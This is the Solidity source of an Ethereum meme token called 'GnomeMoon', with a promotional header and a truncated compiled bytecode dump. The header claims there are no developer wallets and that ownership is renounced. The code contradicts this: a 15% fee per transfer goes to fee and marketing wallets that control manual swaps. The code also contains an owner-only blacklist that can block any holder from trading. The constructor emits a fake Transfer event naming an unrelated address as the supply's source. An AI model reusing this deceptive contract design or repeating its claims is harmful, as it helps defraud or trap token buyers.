MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing */ //SPDX-License-Identifier: GnomeMoon Team pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GNOMEMOON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "GnomeMoon"; string private constant _symbol = unicode'GnomeMoon'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0x4689aEFf0e4D919dEb70Aa6fbAcF0Ad9c2231786), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f476e6f6d654d6f6f6e0000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f476e6f6d654d6f6f6e0000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e95760008